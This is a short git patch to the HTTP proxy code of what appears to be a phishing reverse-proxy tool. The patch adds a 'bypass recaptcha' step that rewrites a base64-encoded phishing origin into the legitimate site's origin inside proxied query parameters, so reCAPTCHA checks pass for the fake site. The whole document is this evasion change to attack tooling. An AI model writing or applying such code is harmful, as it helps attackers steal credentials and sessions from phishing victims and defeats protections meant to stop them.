From 02fed95ae0dd867fd7c12713401da6fe27c4a74b Mon Sep 17 00:00:00 2001 From: Kingpizzy0 Date: Thu, 2 Jan 2025 10:43:41 -0500 Subject: [PATCH] Update http_proxy.go --- core/http_proxy.go | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/core/http_proxy.go b/core/http_proxy.go index 88a024709..b3d09fff2 100644 --- a/core/http_proxy.go +++ b/core/http_proxy.go @@ -641,13 +641,16 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da } } - // patch GET query params with original domains + // patch GET query params with original domains & bypass recaptcha if pl != nil { qs := req.URL.Query() if len(qs) > 0 { for gp := range qs { for i, v := range qs[gp] { qs[gp][i] = string(p.patchUrls(pl, []byte(v), CONVERT_TO_ORIGINAL_URLS)) + if qs[gp][i] == "aHR0cHM6Ly9hY2NvdW50cy5mYWtlLWRvbWFpbi5jb206NDQzCg" { // https://accounts.fake-domain.com:443 + qs[gp][i] = "aHR0cHM6Ly9hY2NvdW50cy5zYWZlLWRvbWFpbi5jb206NDQz" // https://accounts.safe-domain.com:443 + } } } req.URL.RawQuery = qs.Encode()